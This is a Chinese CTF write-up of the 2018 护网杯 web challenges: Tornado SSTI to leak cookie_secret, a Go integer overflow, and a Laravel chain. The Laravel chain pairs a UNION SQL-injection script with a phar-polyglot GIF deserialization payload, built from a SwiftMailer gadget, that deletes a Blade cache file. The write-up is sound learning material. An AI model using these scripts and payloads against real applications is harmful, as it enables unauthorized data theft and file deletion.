互网杯webwp

太多没打过的东西了,一道tornado,一道java的fastjson反序列化,一道go的溢出...还有一道很难但是出的很好的php... 参考:http://skysec.top/2018/10/13/2018%E6%8A%A4%E7%BD%91%E6%9D%AF-web-writeup/ https://xz.aliyun.com/t/2912

easy tornado

进去发现三个链接,对应三个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
http://49.4.78.81:30980/file?filename=Orz.txt&signature=9e3bb6483951e58b6095f949d572dd9a


Orz.txt
render()

http://49.4.78.81:30980/file?filename=hint.txt&signature=74dfcb55b94ddbe4daedd3f21a68a2f1


hint.txt
md5(cookie_secret + md5(filename))

http://49.4.78.81:30980/file?filename=flag.txt&signature=6a86c265598a92ae8bff5c9f7b9f2a72


flag.txt
/fllllllllllag

访问文件需要签名,签名需要cookie_secret 尝试删掉签名,爆了error

1
http://49.4.78.81:30980/error?msg=xxx

猜想ssti,试了一下7*7,发现过滤了* 简单fuzz一下,发现过滤了一堆字符,拿到shell是不大可能了,看能不能读到cookie_secret吧 后续测试一下,发现可以用handler和request.去看tornado源码https://github.com/tornadoweb/tornado/blob/master/tornado/auth.py 尝试访问{{handler.settings}},然后拿到cookie_secret 构造签名访问flag即可

ltshop

go写的,算是学习了吧,go的int64存在溢出

1
http://www.it1352.com/808569.html

首先只有20块,条件竞争发包拿到5个以上辣条,然后flag需要99999999个大辣条,这肯定不够,猜想代码逻辑

1
2
3
4
5
6
7
8
9
if(da_la_tiao * 5 <= user_latiao)
{
success
}

else
{
fail
}

构造溢出 我们填3689348814741910324,那么算的时候3689348814741910324 * 5溢出,数值小于我们辣条数量,兑换成功,那么直接去换flag就ok

easy_web

java题... 后续可能专门写一篇博客,看情况了.... 然后天枢的wp sky的wp

Easy-Laravel

源码泄漏

1
<!-- code: https://github.com/qqqqqqvq/easy_laravel -->

虽然已经没有这个仓库了,我们可以去官方仓库看源码

注入

note存在注入 注册的用户名没有限制,自己跑就好,这里我写了个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
# coding=utf-8

import requests
import re
import random

init_num = random.randint(1,100000000000000)
u = requests.session()

while 1:
init_num += 1
username = "admin' union select 1,(" + input('input:') + '),3,4,5#'

r = u.get('http://127.0.0.1/register')
token = re.findall('name="_token" value="([^"]+)"', r.text)
email = str(init_num) + '@qq.com'
data = {
'_token' : token[0],
'name' : username,
'email' : email,
'password' : email,
'password_confirmation' : email
}
r = u.post('http://127.0.0.1/register', data = data)
r = u.get('http://127.0.0.1/note')
text = re.findall('<div class="col-xs-10">([^<]+)</div>', r.text)
print(text)
u.post('http://127.0.0.1/logout', data = {'_token' : token})

不过好像不能用information_schema,那么就直接查看数据库里面有什么东西 读一下密码

1
2
input:select password from users limit 0,1
[' $2y$10$rY8DAmSEJ99Au5pL.vCQ2eGdAAUek/hGMm.trPDpgK6KBAvddiy32 ']

似乎并不能解,那么怎么办呢,我们可以看到前面还有密码重置,我们去重置密码

重置密码

直接reset页面重置会报错 然后这里学习了一下laravel... 首先www目录有一个composer.json,那我们先

1
composer install

然后php artisan route:list 我们可以看到有个password/reset/{token} 这里其实是出题人设计过的

这里是直接把生成出来的token写入了数据库中,所以我在开头放了一个注入,本意就是注入出这个token去重置admin@qvq.im的密码,可是好像很多人都被users表里的remember_token误导了,这也是使用 Laravel 5.4的原因,在高于5.4的版本中,重置密码这个 token 会被 bcrypt 再存入,就和用户密码一样

先发送一下链接,然后读token 登录成功 按道理来说现在查看flag就应该拿到flag了,但是并没有 结合题目提示

1
2
3
blade expired
pop chain
blade模板

blade模板

1
https://www.jianshu.com/p/7d65f9eb94be

blade是laravel的一个模板引擎.它不像其他流行的 PHP 模板引擎那样限制你在视图中使用原生的 PHP 代码,事实上它就是把 Blade 视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade 视图改变时而改变,这意味着 Blade 并没有给你的应用添加编译的负担。 所以我们这的思路很清晰: 1.因为旧的缓存存在,导致我们看不到flag 2.我们可以利用pop chain删掉缓存文件 3.读到flag 它的模板文件放在了resources/views下面

1
2
3
4
5
6
7
8
9
10
11
12
13
root@be1168dd87c7:/usr/share/nginx/html/resources/views# ls -lsa
total 44
4 drwxr-xr-x 6 root root 4096 Oct 17 17:45 .
4 drwxr-xr-x 5 root root 4096 Oct 17 17:45 ..
4 drwxr-xr-x 3 root root 4096 Oct 17 17:45 auth
4 drwxr-xr-x 2 root root 4096 Oct 17 17:45 errors
4 -rw-r--r-- 1 root root 1054 Oct 17 17:45 files.blade.php
4 -rw-r--r-- 1 root root 410 Oct 17 17:45 home.blade.php
4 drwxr-xr-x 2 root root 4096 Oct 17 17:45 layouts
4 -rw-r--r-- 1 root root 558 Oct 17 17:45 note.blade.php
4 -rw-r--r-- 1 root root 1014 Oct 17 17:45 upload.blade.php
4 drwxr-xr-x 3 root root 4096 Oct 17 17:45 vendor
4 -rw-r--r-- 1 root root 2213 Oct 17 17:45 welcome.blade.php

编译之后放在了storage/framework/views 它的过期判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function isExpired($path)
{
$compiled = $this->getCompiledPath($path);

// If the compiled file doesn't exist we will indicate that the view is expired
// so that it can be re-compiled. Else, we will verify the last modification
// of the views is less than the modification times of the compiled views.
if (! $this->files->exists($compiled)) {
return true;
}

$lastModified = $this->files->lastModified($path);

return $lastModified >= $this->files->lastModified($compiled);
}

然后存放路径

1
2
3
4
public function getCompiledPath($path)
{
return $this->cachePath.'/'.sha1($path).'.php';
}

cachePath在哪呢?前面的提示

1
nginx是坠吼的 ( 好麻烦,默认配置也是坠吼的

那么说明路径就是/usr/share/nginx/html 但是要怎么删除呢?

phar反序列化

看到upload的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
class UploadController extends Controller
{
public function __construct()
{
$this->middleware(['auth', 'admin']);
$this->path = storage_path('app/public');
}
public function index()
{
return view('upload');
}
public function upload(UploadRequest $request)
{
$file = $request->file('file');
if (($file && $file->isValid())) {
$allowed_extensions = ["bmp", "jpg", "jpeg", "png", "gif"];
$ext = $file->getClientOriginalExtension();
if(in_array($ext, $allowed_extensions)){
$file->move($this->path, $file->getClientOriginalName());
Flash::success('上传成功');
return redirect(route('upload'));
}
}
Flash::error('上传失败');
return redirect(route('upload'));
}
public function files()
{
$files = array_except(Storage::allFiles('public'), ['0']);
return view('files')->with('files', $files);
}

public function check(Request $request)
{
$path = $request->input('path', $this->path);
$filename = $request->input('filename', null);
if($filename){
if(!file_exists($path . $filename)){
Flash::error('磁盘文件已删除,刷新文件列表');
}else{
Flash::success('文件有效');
}
}
return redirect(route('files'));
}
}

发现check里面用到了file_exists,路径也确定,上传的时候要求为image,改一个头就过了 那么现在就要找一个可以触发删除文件的类 然后我们在swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php找到可用类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
{
public function __construct()
{
$filePath = tempnam(sys_get_temp_dir(), 'FileByteStream');

if ($filePath === false) {
throw new Swift_IoException('Failed to retrieve temporary file name.');
}

parent::__construct($filePath, true);
}

public function getContent()
{
if (($content = file_get_contents($this->getPath())) === false) {
throw new Swift_IoException('Failed to get temporary file content.');
}

return $content;
}

public function __destruct()
{
if (file_exists($this->getPath())) {
@unlink($this->getPath());
}
}
}

构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include('autoload.php');
$a = serialize(new Swift_ByteStream_TemporaryFileByteStream());
var_dump(unserialize($a));
var_dump($a);
$a = preg_replace('/\/tmp\/FileByteStream[a-zA-Z0-9]{6}/', "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a);
$a = str_replace('s:25', 's:90', $a);
$b = unserialize($a);
var_dump($b);
$p = new Phar('./blacsheep.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($b);
$p->addFromString('test.txt','text');
$p->stopBuffering();
rename('blacsheep.phar', 'blacsheep.gif')
?>

传上去之后curl来check一下触发删除

1
blacsheep@kali:/home/blacsheep  $ curl -X POST --data "path=phar:///usr/share/nginx/html/storage/app/public&filename=/blacsheep.gif&_token=H1zLI745JltuZPTvk19zfm0BDzaMScRv4Sghq6bx" --cookie "XSRF-TOKEN=eyJpdiI6IjEydHFndGVRdGFiVU1RdzFjNElIWUE9PSIsInZhbHVlIjoiMUJJYjJYSk5pWGExR1RVVjFOUnBXdVNKckdTMnhxUjdVb1grTytJMW1uUGo1NmlGY0FJSXpiRlBCb2hmRXFmR0lYYm1RdG55V2RJUVB1eU5iNkFOQ3c9PSIsIm1hYyI6IjYxMjVhNDE1NjAyZjJkMDViZDQyYTRjYjc4Y2YzNTUxY2Y0MWUxNjAzODZiNzJmNDllYWUzYTRiM2MyZDY1YmMifQ%3D%3D; laravel_session=eyJpdiI6ImtDOEpVMmtNRHVXQlR1SWJER0d4bnc9PSIsInZhbHVlIjoiNURxNUE5REFUT0tvNTVWM1hMYVZZRjQyemdKZ2tTM2pZQ0J6cDNiSkpOTys4QmhjelozQ0lTYmYwa1VyWlA0eTRENkloajBKbVV5aWN6MEpVaTNaWEE9PSIsIm1hYyI6IjZhNDVkMDFlN2M0MDYzODRmM2NlYTBiZDEyMmFhZmQyMGVjMzU5YjQ3ZTc4OTkyZmU5YjRjMjgxMTE1NTk5MWUifQ%3D%3D" 'http://127.0.0.1/check'

拿到flag